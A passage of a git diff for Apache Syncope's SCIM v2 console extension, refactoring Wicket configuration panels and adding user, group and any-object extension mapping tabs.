AjaxTextFieldPanel("division", "division", - new PropertyModel<>("division", "division") { + @Override + public String getObject() { + return scimEnterpriseUserConf.getDivision(); + } - private static final long serialVersionUID = -6427731218492117883L; + @Override + public void setObject(final String object) { + scimEnterpriseUserConf.setDivision(object); + } + }); + divisionPanel.setChoices(userPlainSchemas.getObject()); - @Override - public String getObject() { - return scimEnterpriseUserConf.getDivision(); - } + AjaxTextFieldPanel employeeNumberPanel = new AjaxTextFieldPanel( + "employeeNumber", "employeeNumber", new PropertyModel<>("employeeNumber", "employeeNumber") { - @Override - public void setObject(final String object) { - scimEnterpriseUserConf.setDivision(object); - } + private static final long serialVersionUID = -6427731218492117883L; - }); - divisionPanel.setChoices(plainSchemaNames); + @Override + public String getObject() { + return scimEnterpriseUserConf.getEmployeeNumber(); + } - AjaxTextFieldPanel employeeNumberPanel = - new AjaxTextFieldPanel("employeeNumber", "employeeNumber", - new PropertyModel<>("employeeNumber", "employeeNumber") { + @Override + public void setObject(final String object) { + scimEnterpriseUserConf.setEmployeeNumber(object); + } + }); + employeeNumberPanel.setChoices(userPlainSchemas.getObject()); - private static final long serialVersionUID = -6427731218492117883L; + AjaxTextFieldPanel organizationPanel = new AjaxTextFieldPanel( + "organization", "organization", new PropertyModel<>("organization", "organization") { - @Override - public String getObject() { - return scimEnterpriseUserConf.getEmployeeNumber(); - } + private static final long serialVersionUID = -6427731218492117883L; - @Override - public void setObject(final String object) { - scimEnterpriseUserConf.setEmployeeNumber(object); - } + @Override + public String getObject() { + return scimEnterpriseUserConf.getOrganization(); + } - }); - employeeNumberPanel.setChoices(plainSchemaNames); - - AjaxTextFieldPanel organizationPanel = - new AjaxTextFieldPanel("organization", "organization", - new PropertyModel<>("organization", "organization") { - - private static final long serialVersionUID = -6427731218492117883L; - - @Override - public String getObject() { - return scimEnterpriseUserConf.getOrganization(); - } - - @Override - public void setObject(final String object) { - scimEnterpriseUserConf.setOrganization(object); - } - - }); - organizationPanel.setChoices(plainSchemaNames); + @Override + public void setObject(final String object) { + scimEnterpriseUserConf.setOrganization(object); + } + }); + organizationPanel.setChoices(userPlainSchemas.getObject()); // manager buildManagerAccordion(); @@ -160,67 +147,57 @@ public void setObject(final String object) { add(organizationPanel); } - @Override - public void onEvent(final IEvent event) { - super.onEvent(event); - } - private void buildManagerAccordion() { - final Accordion accordion = new Accordion("managerAccordion", - Collections.singletonList(new AbstractTab(Model.of("manager")) { - - private static final long serialVersionUID = -5861786415855103549L; + Accordion accordion = new Accordion("managerAccordion", List.of(new AbstractTab(Model.of("manager")) { - @Override - public WebMarkupContainer getPanel(final String panelId) { - return buildNameAccordionContent(panelId); - } + private static final long serialVersionUID = -5861786415855103549L; - }), Model.of(-1)); // accordion closed at beginning + @Override + public WebMarkupContainer getPanel(final String panelId) { + return buildNameAccordionContent(panelId); + } + }), Model.of(-1)); // accordion closed at beginning add(accordion.setOutputMarkupId(true)); - } private SCIMConfAccordionContainer buildNameAccordionContent(final String panelId) { - final List panelList = new ArrayList<>(); + List panelList = new ArrayList<>(); - AjaxTextFieldPanel managerKeyPanel = - new AjaxTextFieldPanel("accordionContent", "manager.key", - new PropertyModel<>(scimEnterpriseUserConf.getManager(), "accordionContent") { + AjaxTextFieldPanel managerKeyPanel = new AjaxTextFieldPanel( + "accordionContent", "manager.key", + new PropertyModel<>(scimEnterpriseUserConf.getManager(), "accordionContent") { - private static final long serialVersionUID = -6427731218492117883L; + private static final long serialVersionUID = -6427731218492117883L; - @Override - public String getObject() { - return scimEnterpriseUserConf.getManager().getKey(); - } + @Override + public String getObject() { + return scimEnterpriseUserConf.getManager().getKey(); + } - @Override - public void setObject(final String object) { - scimEnterpriseUserConf.getManager().setKey(object); - } + @Override + public void setObject(final String object) { + scimEnterpriseUserConf.getManager().setKey(object); + } + }); + managerKeyPanel.setChoices(userPlainSchemas.getObject()); - }); - managerKeyPanel.setChoices(plainSchemaNames); + AjaxTextFieldPanel managerDisplaNamePanel = new AjaxTextFieldPanel( + "accordionContent", "manager.displayName", + new PropertyModel<>(scimEnterpriseUserConf.getManager(), "accordionContent") { - AjaxTextFieldPanel managerDisplaNamePanel = - new AjaxTextFieldPanel("accordionContent", "manager.displayName", - new PropertyModel<>(scimEnterpriseUserConf.getManager(), "accordionContent") { + private static final long serialVersionUID = -6427731218492117883L; - private static final long serialVersionUID = -6427731218492117883L; + @Override + public String getObject() { + return scimEnterpriseUserConf.getManager().getDisplayName(); + } - @Override - public String getObject() { - return scimEnterpriseUserConf.getManager().getDisplayName(); - } - - @Override - public void setObject(final String object) { - scimEnterpriseUserConf.getManager().setDisplayName(object); - } - - }); - managerDisplaNamePanel.setChoices(plainSchemaNames); + @Override + public void setObject(final String object) { + scimEnterpriseUserConf.getManager().setDisplayName(object); + } + }); + managerDisplaNamePanel.setChoices(userPlainSchemas.getObject()); panelList.add(managerKeyPanel); panelList.add(managerDisplaNamePanel); @@ -229,5 +206,4 @@ public void setObject(final String object) { return new SCIMConfAccordionContainer(panelId, panelList); } - } diff --git a/ext/scimv2/client-console/src/main/java/org/apache/syncope/client/console/panels/SCIMConfExtensionAnyObjectPanel.java b/ext/scimv2/client-console/src/main/java/org/apache/syncope/client/console/panels/SCIMConfExtensionAnyObjectPanel.java new file mode 100644 index 00000000000..562d8e7ab8b --- /dev/null +++ b/ext/scimv2/client-console/src/main/java/org/apache/syncope/client/console/panels/SCIMConfExtensionAnyObjectPanel.java @@ -0,0 +1,48 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.client.console.panels; + +import java.util.Optional; +import org.apache.syncope.common.lib.scim.SCIMConf; +import org.apache.syncope.common.lib.scim.SCIMExtensionAnyConf; +import org.apache.syncope.common.lib.scim.SCIMExtensionAnyObjectConf; + +public class SCIMConfExtensionAnyObjectPanel extends SCIMConfExtensionAnyPanel { + + private static final long serialVersionUID = -1540432800132655369L; + + public SCIMConfExtensionAnyObjectPanel(final String id, final SCIMConf scimConf, final String anyTypeKey) { + super(id, scimConf, anyTypeKey); + } + + @Override + public SCIMExtensionAnyConf getExtensionAnyConf(final SCIMConf scimConf) { + Optional scimExtAnyObjectConf = + scimConf.getExtensionAnyObjectsConf().stream() + .filter(scimExtensionAnyObjectConf -> scimExtensionAnyObjectConf.getType().equals(anyTypeKey)) + .findFirst(); + if (scimExtAnyObjectConf.isPresent()) { + return scimExtAnyObjectConf.get(); + } + SCIMExtensionAnyObjectConf scimExtensionAnyObjectConf = new SCIMExtensionAnyObjectConf(); + scimExtensionAnyObjectConf.setType(anyTypeKey); + scimConf.getExtensionAnyObjectsConf().add(scimExtensionAnyObjectConf); + return scimExtensionAnyObjectConf; + } +} diff --git a/ext/scimv2/client-console/src/main/java/org/apache/syncope/client/console/panels/SCIMConfExtensionAnyPanel.java b/ext/scimv2/client-console/src/main/java/org/apache/syncope/client/console/panels/SCIMConfExtensionAnyPanel.java new file mode 100644 index 00000000000..d328b80cc98 --- /dev/null +++ b/ext/scimv2/client-console/src/main/java/org/apache/syncope/client/console/panels/SCIMConfExtensionAnyPanel.java @@ -0,0 +1,83 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.client.console.panels; + +import org.apache.syncope.client.console.panels.mapping.SCIMExtensionMappingPanel; +import org.apache.syncope.client.ui.commons.markup.html.form.AjaxTextFieldPanel; +import org.apache.syncope.common.lib.scim.SCIMConf; +import org.apache.syncope.common.lib.scim.SCIMExtensionAnyConf; +import org.apache.wicket.markup.html.form.Form; +import org.apache.wicket.model.Model; +import org.apache.wicket.model.PropertyModel; +import org.apache.wicket.model.util.ListModel; + +public abstract class SCIMConfExtensionAnyPanel extends SCIMConfTabPanel { + + private static final long serialVersionUID = 2459231778083046011L; + + protected final String anyTypeKey; + + protected SCIMConfExtensionAnyPanel(final String id, final SCIMConf scimConf, final String anyTypeKey) { + super(id); + this.anyTypeKey = anyTypeKey; + + SCIMExtensionAnyConf scimExtensionAnyConf = getExtensionAnyConf(scimConf); + + AjaxTextFieldPanel namePanel = new AjaxTextFieldPanel("name", "name", new PropertyModel<>("name", "name") { + + private static final long serialVersionUID = 7389942851813193481L; + + @Override + public String getObject() { + return scimExtensionAnyConf.getName(); + } + + @Override + public void setObject(final String object) { + scimExtensionAnyConf.setName(object); + } + }); + add(namePanel); + + AjaxTextFieldPanel descriptionPanel = new AjaxTextFieldPanel( + "description", "description", new PropertyModel<>("description", "description") { + + private static final long serialVersionUID = -5911179251497048661L; + + @Override + public String getObject() { + return scimExtensionAnyConf.getDescription(); + } + + @Override + public void setObject(final String object) { + scimExtensionAnyConf.setDescription(object); + } + }); + add(descriptionPanel); + + SCIMExtensionMappingPanel extensionMappingPanel = new SCIMExtensionMappingPanel( + "mapping", new ListModel<>(scimExtensionAnyConf.getAttributes()), anyTypeKey); + Form form = new Form<>("form", new Model<>(scimExtensionAnyConf)); + form.add(extensionMappingPanel); + add(form); + } + + abstract SCIMExtensionAnyConf getExtensionAnyConf(SCIMConf scimConf); +} diff --git a/ext/scimv2/client-console/src/main/java/org/apache/syncope/client/console/panels/SCIMConfExtensionGroupPanel.java b/ext/scimv2/client-console/src/main/java/org/apache/syncope/client/console/panels/SCIMConfExtensionGroupPanel.java new file mode 100644 index 00000000000..3298a2fa8fc --- /dev/null +++ b/ext/scimv2/client-console/src/main/java/org/apache/syncope/client/console/panels/SCIMConfExtensionGroupPanel.java @@ -0,0 +1,39 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.client.console.panels; + +import org.apache.syncope.common.lib.scim.SCIMConf; +import org.apache.syncope.common.lib.scim.SCIMExtensionAnyConf; + +public class SCIMConfExtensionGroupPanel extends SCIMConfExtensionAnyPanel { + + private static final long serialVersionUID = -3719006384765921047L; + + public SCIMConfExtensionGroupPanel(final String id, final SCIMConf scimConf, final String anyTypeKey) { + super(id, scimConf, anyTypeKey); + } + + @Override + public SCIMExtensionAnyConf getExtensionAnyConf(final SCIMConf scimConf) { + if (scimConf.getExtensionGroupConf() == null) { + scimConf.setExtensionGroupConf(new SCIMExtensionAnyConf()); + } + return scimConf.getExtensionGroupConf(); + } +} diff --git a/client/idrepo/enduser/src/main/java/org/apache/syncope/client/enduser/actuate/SyncopeEnduserInfoContributor.java b/ext/scimv2/client-console/src/main/java/org/apache/syncope/client/console/panels/SCIMConfExtensionUserPanel.java similarity index 53% rename from client/idrepo/enduser/src/main/java/org/apache/syncope/client/enduser/actuate/SyncopeEnduserInfoContributor.java rename to ext/scimv2/client-console/src/main/java/org/apache/syncope/client/console/panels/SCIMConfExtensionUserPanel.java index 8bbc6aff2d4..beb1f0684b0 100644 --- a/client/idrepo/enduser/src/main/java/org/apache/syncope/client/enduser/actuate/SyncopeEnduserInfoContributor.java +++ b/ext/scimv2/client-console/src/main/java/org/apache/syncope/client/console/panels/SCIMConfExtensionUserPanel.java @@ -16,24 +16,24 @@ * specific language governing permissions and limitations * under the License. */ -package org.apache.syncope.client.enduser.actuate; +package org.apache.syncope.client.console.panels; -import org.apache.syncope.client.enduser.EnduserProperties; -import org.springframework.boot.actuate.info.Info; -import org.springframework.boot.actuate.info.InfoContributor; -import org.springframework.security.access.prepost.PreAuthorize; +import org.apache.syncope.common.lib.scim.SCIMConf; +import org.apache.syncope.common.lib.scim.SCIMExtensionAnyConf; -public class SyncopeEnduserInfoContributor implements InfoContributor { +public class SCIMConfExtensionUserPanel extends SCIMConfExtensionAnyPanel { - protected final EnduserProperties enduserProperties; + private static final long serialVersionUID = -94504185795020353L; - public SyncopeEnduserInfoContributor(final EnduserProperties enduserProperties) { - this.enduserProperties = enduserProperties; + public SCIMConfExtensionUserPanel(final String id, final SCIMConf scimConf, final String anyTypeKey) { + super(id, scimConf, anyTypeKey); } - @PreAuthorize("isAuthenticated()") @Override - public void contribute(final Info.Builder builder) { - builder.withDetail("enduserProperties", enduserProperties); + public SCIMExtensionAnyConf getExtensionAnyConf(final SCIMConf scimConf) { + if (scimConf.getExtensionUserConf() == null) { + scimConf.setExtensionUserConf(new SCIMExtensionAnyConf()); + } + return scimConf.getExtensionUserConf(); } } diff --git a/ext/scimv2/client-console/src/main/java/org/apache/syncope/client/console/panels/SCIMConfGeneralPanel.java b/ext/scimv2/client-console/src/main/java/org/apache/syncope/client/console/panels/SCIMConfGeneralPanel.java index 34e9f1bf9ca..6ae86631f55 100644 --- a/ext/scimv2/client-console/src/main/java/org/apache/syncope/client/console/panels/SCIMConfGeneralPanel.java +++ b/ext/scimv2/client-console/src/main/java/org/apache/syncope/client/console/panels/SCIMConfGeneralPanel.java @@ -22,147 +22,60 @@ import org.apache.commons.lang3.time.DateFormatUtils; import org.apache.syncope.client.ui.commons.DateOps; import org.apache.syncope.client.ui.commons.markup.html.form.AjaxDateTimeFieldPanel; -import org.apache.syncope.client.ui.commons.markup.html.form.AjaxTextFieldPanel; +import org.apache.syncope.client.ui.commons.markup.html.form.AjaxNumberFieldPanel; import org.apache.syncope.common.lib.scim.SCIMConf; import org.apache.syncope.common.lib.scim.SCIMGeneralConf; import org.apache.wicket.model.Model; import org.apache.wicket.model.PropertyModel; -import org.slf4j.Logger; -import org.slf4j.LoggerFactory; public class SCIMConfGeneralPanel extends SCIMConfTabPanel { private static final long serialVersionUID = 2765863608539154422L; - private static final Logger LOG = LoggerFactory.getLogger(SCIMConfGeneralPanel.class); - public SCIMConfGeneralPanel(final String id, final SCIMConf scimConf) { super(id); SCIMGeneralConf scimGeneralConf = scimConf.getGeneralConf(); + add(new AjaxDateTimeFieldPanel("creationDate", "creationDate", new Model<>() { - AjaxDateTimeFieldPanel creationDatePanel = - new AjaxDateTimeFieldPanel("creationDate", "creationDate", new Model<>() { - - private static final long serialVersionUID = 7075312408615929880L; - - @Override - public Date getObject() { - return DateOps.convert(scimGeneralConf.getCreationDate()); - } - - @Override - public void setObject(final Date object) { - scimGeneralConf.setCreationDate(DateOps.convert(object)); - } - }, DateFormatUtils.ISO_8601_EXTENDED_DATETIME_TIME_ZONE_FORMAT); - creationDatePanel.setEnabled(false); - - AjaxDateTimeFieldPanel lastChangeDatePanel = - new AjaxDateTimeFieldPanel("lastChangeDate", "lastChangeDate", new Model<>() { - - private static final long serialVersionUID = 7075312408615929880L; - - @Override - public Date getObject() { - return DateOps.convert(scimGeneralConf.getLastChangeDate()); - } - - @Override - public void setObject(final Date object) { - scimGeneralConf.setLastChangeDate(DateOps.convert(object)); - } - }, DateFormatUtils.ISO_8601_EXTENDED_DATETIME_TIME_ZONE_FORMAT); - lastChangeDatePanel.setEnabled(false); - - AjaxTextFieldPanel bulkMaxOperationsPanel = - new AjaxTextFieldPanel("bulkMaxOperations", "bulkMaxOperations", - new PropertyModel<>("bulkMaxOperations", "bulkMaxOperations") { - - private static final long serialVersionUID = -6427731218492117883L; - - @Override - public String getObject() { - return String.valueOf(scimGeneralConf.getBulkMaxOperations()); - } - - @Override - public void setObject(final String object) { - try { - scimGeneralConf.setBulkMaxOperations(Integer.parseInt(object)); - } catch (NumberFormatException e) { - LOG.error("Invalid value provided for 'bulkMaxOperations': {}", object, e); - } - } - }); - bulkMaxOperationsPanel.setChoices(plainSchemaNames); - - AjaxTextFieldPanel bulkMaxMaxPayloadSizePanel = - new AjaxTextFieldPanel("bulkMaxMaxPayloadSize", "bulkMaxMaxPayloadSize", - new PropertyModel<>("bulkMaxMaxPayloadSize", "bulkMaxMaxPayloadSize") { + private static final long serialVersionUID = 7075312408615929880L; - private static final long serialVersionUID = -6427731218492117883L; - - @Override - public String getObject() { - return String.valueOf(scimGeneralConf.getBulkMaxPayloadSize()); - } - - @Override - public void setObject(final String object) { - try { - scimGeneralConf.setBulkMaxPayloadSize(Integer.parseInt(object)); - } catch (NumberFormatException e) { - LOG.error("Invalid value provided for 'bulkMaxPayloadSize': {}", object, e); - } - } - }); - bulkMaxMaxPayloadSizePanel.setChoices(plainSchemaNames); - - AjaxTextFieldPanel filterMaxResultsPanel = - new AjaxTextFieldPanel("filterMaxResults", "filterMaxResults", - new PropertyModel<>("filterMaxResults", "filterMaxResults") { - - private static final long serialVersionUID = -6427731218492117883L; - - @Override - public String getObject() { - return String.valueOf(scimGeneralConf.getFilterMaxResults()); - } + @Override + public Date getObject() { + return DateOps.convert(scimGeneralConf.getCreationDate()); + } - @Override - public void setObject(final String object) { - try { - scimGeneralConf.setFilterMaxResults(Integer.parseInt(object)); - } catch (NumberFormatException e) { - LOG.error("Invalid value provided for 'filterMaxResults': {}", object, e); - } - } - }); - filterMaxResultsPanel.setChoices(plainSchemaNames); + @Override + public void setObject(final Date object) { + // nothing to do + } + }, DateFormatUtils.ISO_8601_EXTENDED_DATETIME_TIME_ZONE_FORMAT).setEnabled(false)); - AjaxTextFieldPanel eTagValuePanel = new AjaxTextFieldPanel("eTagValue", "eTagValue", - new PropertyModel<>("eTagValue", "eTagValue") { + add(new AjaxDateTimeFieldPanel("lastChangeDate", "lastChangeDate", new Model<>() { - private static final long serialVersionUID = -6427731218492117883L; + private static final long serialVersionUID = 7075312408615929880L; @Override - public String getObject() { - return scimGeneralConf.getETagValue(); + public Date getObject() { + return DateOps.convert(scimGeneralConf.getLastChangeDate()); } @Override - public void setObject(final String object) { + public void setObject(final Date object) { // nothing to do } - }); - eTagValuePanel.setEnabled(false); + }, DateFormatUtils.ISO_8601_EXTENDED_DATETIME_TIME_ZONE_FORMAT).setEnabled(false)); + + add(new AjaxNumberFieldPanel.Builder().enableOnChange().convertValuesToString(false). + build("bulkMaxOperations", "bulkMaxOperations", Integer.class, + new PropertyModel<>(scimGeneralConf, "bulkMaxOperations"))); + + add(new AjaxNumberFieldPanel.Builder().enableOnChange().convertValuesToString(false). + build("bulkMaxPayloadSize", "bulkMaxPayloadSize", Integer.class, + new PropertyModel<>(scimGeneralConf, "bulkMaxPayloadSize"))); - add(creationDatePanel); - add(lastChangeDatePanel); - add(bulkMaxOperationsPanel); - add(bulkMaxMaxPayloadSizePanel); - add(filterMaxResultsPanel); - add(eTagValuePanel); + add(new AjaxNumberFieldPanel.Builder().enableOnChange().convertValuesToString(false). + build("filterMaxResults", "filterMaxResults", Integer.class, + new PropertyModel<>(scimGeneralConf, "filterMaxResults"))); } } diff --git a/ext/scimv2/client-console/src/main/java/org/apache/syncope/client/console/panels/SCIMConfGroupPanel.java b/ext/scimv2/client-console/src/main/java/org/apache/syncope/client/console/panels/SCIMConfGroupPanel.java new file mode 100644 index 00000000000..d7afecee36a --- /dev/null +++ b/ext/scimv2/client-console/src/main/java/org/apache/syncope/client/console/panels/SCIMConfGroupPanel.java @@ -0,0 +1,63 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.client.console.panels; + +import org.apache.syncope.client.ui.commons.markup.html.form.AjaxTextFieldPanel; +import org.apache.syncope.common.lib.scim.SCIMConf; +import org.apache.syncope.common.lib.scim.SCIMGroupConf; +import org.apache.wicket.model.PropertyModel; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +public class SCIMConfGroupPanel extends SCIMConfTabPanel { + + protected static final Logger LOG = LoggerFactory.getLogger(SCIMConfGroupPanel.class); + + private static final long serialVersionUID = 8747864142447220523L; + + private final SCIMGroupConf scimGroupConf; + + public SCIMConfGroupPanel(final String id, final SCIMConf scimConf) { + super(id); + + if (scimConf.getGroupConf() == null) { + scimConf.setGroupConf(new SCIMGroupConf()); + } + scimGroupConf = scimConf.getGroupConf(); + + AjaxTextFieldPanel externalIdPanel = new AjaxTextFieldPanel( + "externalId", "externalId", new PropertyModel<>("externalId", "externalId") { + + private static final long serialVersionUID = -6427731218492117883L; + + @Override + public String getObject() { + return scimGroupConf.getExternalId(); + } + + @Override + public void setObject(final String object) { + scimGroupConf.setExternalId(object); + } + }); + externalIdPanel.setChoices(groupPlainSchemas.getObject()); + + add(externalIdPanel); + } +} diff --git a/ext/scimv2/client-console/src/main/java/org/apache/syncope/client/console/panels/SCIMConfPanel.java b/ext/scimv2/client-console/src/main/java/org/apache/syncope/client/console/panels/SCIMConfPanel.java index ddc86bb26df..df886c401a8 100644 --- a/ext/scimv2/client-console/src/main/java/org/apache/syncope/client/console/panels/SCIMConfPanel.java +++ b/ext/scimv2/client-console/src/main/java/org/apache/syncope/client/console/panels/SCIMConfPanel.java @@ -18,15 +18,18 @@ */ package org.apache.syncope.client.console.panels; -import de.agilecoders.wicket.core.markup.html.bootstrap.dialog.Modal; import de.agilecoders.wicket.core.markup.html.bootstrap.tabs.AjaxBootstrapTabbedPanel; -import java.io.Serializable; import java.util.ArrayList; import java.util.List; +import org.apache.syncope.client.console.SyncopeConsoleSession; import org.apache.syncope.client.console.commons.ITabComponent; +import org.apache.syncope.client.console.pages.BasePage; +import org.apache.syncope.client.console.rest.AnyTypeRestClient; import org.apache.syncope.client.console.rest.SCIMConfRestClient; import org.apache.syncope.client.console.wizards.WizardMgtPanel; +import org.apache.syncope.client.ui.commons.Constants; import org.apache.syncope.common.lib.scim.SCIMConf; +import org.apache.syncope.common.lib.types.AnyTypeKind; import org.apache.wicket.PageReference; import org.apache.wicket.ajax.AjaxRequestTarget; import org.apache.wicket.ajax.markup.html.AjaxLink; @@ -34,30 +37,36 @@ import org.apache.wicket.markup.html.WebMarkupContainer; import org.apache.wicket.markup.html.panel.Panel; import org.apache.wicket.model.Model; +import org.apache.wicket.model.ResourceModel; +import org.apache.wicket.spring.injection.annot.SpringBean; import org.slf4j.Logger; import org.slf4j.LoggerFactory; -public abstract class SCIMConfPanel extends WizardMgtPanel { +public class SCIMConfPanel extends WizardMgtPanel { private static final long serialVersionUID = -1100228004207271270L; protected static final Logger LOG = LoggerFactory.getLogger(SCIMConfPanel.class); - private final SCIMConf scimConfTO; + @SpringBean + protected SCIMConfRestClient scimConfRestClient; + + @SpringBean + protected AnyTypeRestClient anyTypeRestClient; + + protected final SCIMConf scimConf; public SCIMConfPanel( final String id, - final SCIMConf scimConfTO, + final SCIMConf scimConf, final PageReference pageRef) { + super(id, true); - this.scimConfTO = scimConfTO; + this.scimConf = scimConf; this.pageRef = pageRef; - setPageRef(pageRef); - - AjaxBootstrapTabbedPanel tabbedPanel = - new AjaxBootstrapTabbedPanel<>("tabbedPanel", buildTabList()); + AjaxBootstrapTabbedPanel tabbedPanel = new AjaxBootstrapTabbedPanel<>("tabbedPanel", buildTabList()); tabbedPanel.setSelectedTab(0); addInnerObject(tabbedPanel); @@ -67,75 +76,98 @@ public SCIMConfPanel( @Override public void onClick(final AjaxRequestTarget target) { - SCIMConfRestClient.set(SCIMConfPanel.this.scimConfTO); + try { + scimConfRestClient.set(SCIMConfPanel.this.scimConf); + SyncopeConsoleSession.get().success(getString(Constants.OPERATION_SUCCEEDED)); + } catch (Exception e) { + LOG.error("While setting SCIM configuration", e); + SyncopeConsoleSession.get().onException(e); + } + ((BasePage) pageRef.getPage()).getNotificationPanel().refresh(target); } }; addInnerObject(saveButton); setShowResultPanel(true); - - modal.size(Modal.Size.Large); - setWindowClosedReloadCallback(modal); } - private List buildTabList() { + protected List buildTabList() { List tabs = new ArrayList<>(); - tabs.add(new ITabComponent(new Model<>(getString("tab1"))) { + tabs.add(new ITabComponent(new Model<>(getString("tab1")), getString("tab1")) { private static final long serialVersionUID = -5861786415855103549L; @Override public Panel getPanel(final String panelId) { - return new SCIMConfGeneralPanel(panelId, scimConfTO); + return new SCIMConfGeneralPanel(panelId, scimConf); } + }); + + tabs.add(new ITabComponent(new Model<>(getString("tab2")), getString("tab2")) { + + private static final long serialVersionUID = 1998052474181916792L; @Override - public boolean isVisible() { - return true; + public WebMarkupContainer getPanel(final String panelId) { + return new SCIMConfUserPanel(panelId, scimConf); } }); - tabs.add(new ITabComponent( - new Model<>(getString("tab2")), getString("tab2")) { + tabs.add(new ITabComponent(new Model<>(getString("tab3")), getString("tab3")) { private static final long serialVersionUID = 1998052474181916792L; @Override public WebMarkupContainer getPanel(final String panelId) { - return new SCIMConfUserPanel(panelId, scimConfTO); + return new SCIMConfEnterpriseUserPanel(panelId, scimConf); } + }); + + tabs.add(new ITabComponent(new Model<>(getString("tab4")), getString("tab4")) { + + private static final long serialVersionUID = 6645614456650987567L; @Override - public boolean isVisible() { - return true; + public WebMarkupContainer getPanel(final String panelId) { + return new SCIMConfExtensionUserPanel(panelId, scimConf, AnyTypeKind.USER.name()); } }); - tabs.add(new ITabComponent( - new Model<>(getString("tab3")), getString("tab3")) { + tabs.add(new ITabComponent(new Model<>(getString("tab5")), getString("tab5")) { private static final long serialVersionUID = 1998052474181916792L; @Override public WebMarkupContainer getPanel(final String panelId) { - return new SCIMConfEnterpriseUserPanel(panelId, scimConfTO); + return new SCIMConfGroupPanel(panelId, scimConf); } + }); + + tabs.add(new ITabComponent(new Model<>(getString("tab6")), getString("tab6")) { + + private static final long serialVersionUID = -7858187494595192532L; @Override - public boolean isVisible() { - return true; + public WebMarkupContainer getPanel(final String panelId) { + return new SCIMConfExtensionGroupPanel(panelId, scimConf, AnyTypeKind.GROUP.name()); } }); - return tabs; - } + anyTypeRestClient.listAnyTypes().stream() + .filter(anyTypeTO -> AnyTypeKind.ANY_OBJECT.equals(anyTypeTO.getKind())) + .forEach(anyTypeTO -> + tabs.add(new ITabComponent( + new ResourceModel("anyType." + anyTypeTO.getKey(), anyTypeTO.getKey())) { - @Override - @SuppressWarnings("unchecked") - protected Panel customResultBody(final String panelId, final SCIMConf item, final Serializable result) { + private static final long serialVersionUID = 6429988338658964324L; - return null; - } + @Override + public WebMarkupContainer getPanel(final String panelId) { + return new SCIMConfExtensionAnyObjectPanel(panelId, scimConf, anyTypeTO.getKey()); + } + })); + return tabs; + } } diff --git a/ext/scimv2/client-console/src/main/java/org/apache/syncope/client/console/panels/SCIMConfTabPanel.java b/ext/scimv2/client-console/src/main/java/org/apache/syncope/client/console/panels/SCIMConfTabPanel.java index 6ac28e1cff0..8ba38821735 100644 --- a/ext/scimv2/client-console/src/main/java/org/apache/syncope/client/console/panels/SCIMConfTabPanel.java +++ b/ext/scimv2/client-console/src/main/java/org/apache/syncope/client/console/panels/SCIMConfTabPanel.java @@ -21,26 +21,46 @@ import java.util.List; import java.util.stream.Collectors; import org.apache.syncope.client.console.rest.SchemaRestClient; -import org.apache.syncope.client.ui.commons.panels.ModalPanel; import org.apache.syncope.common.lib.to.SchemaTO; import org.apache.syncope.common.lib.types.AnyTypeKind; import org.apache.syncope.common.lib.types.SchemaType; import org.apache.wicket.markup.html.panel.Panel; +import org.apache.wicket.model.LoadableDetachableModel; +import org.apache.wicket.spring.injection.annot.SpringBean; -public class SCIMConfTabPanel extends Panel implements ModalPanel { +public class SCIMConfTabPanel extends Panel { private static final long serialVersionUID = -4482885585790492795L; - protected final List plainSchemaNames = getPlainSchemas(); + @SpringBean + protected SchemaRestClient schemaRestClient; + + protected final LoadableDetachableModel> userPlainSchemas = new LoadableDetachableModel<>() { + + private static final long serialVersionUID = 4659376149825914247L; + + @Override + protected List load() { + return schemaRestClient.getSchemas(SchemaType.PLAIN, AnyTypeKind.USER).stream(). + map(SchemaTO::getKey). + filter(name -> !"password".equals(name)). + sorted().collect(Collectors.toList()); + } + }; + + protected final LoadableDetachableModel> groupPlainSchemas = new LoadableDetachableModel<>() { + + private static final long serialVersionUID = 4659376149825914247L; + + @Override + protected List load() { + return schemaRestClient.getSchemas(SchemaType.PLAIN, AnyTypeKind.GROUP).stream(). + map(SchemaTO::getKey). + sorted().collect(Collectors.toList()); + } + }; public SCIMConfTabPanel(final String id) { super(id); } - - private static List getPlainSchemas() { - return SchemaRestClient.getSchemas(SchemaType.PLAIN, AnyTypeKind.USER).stream(). - map(SchemaTO::getKey). - filter(name -> !"password".equals(name)). - sorted().collect(Collectors.toList()); - } } diff --git 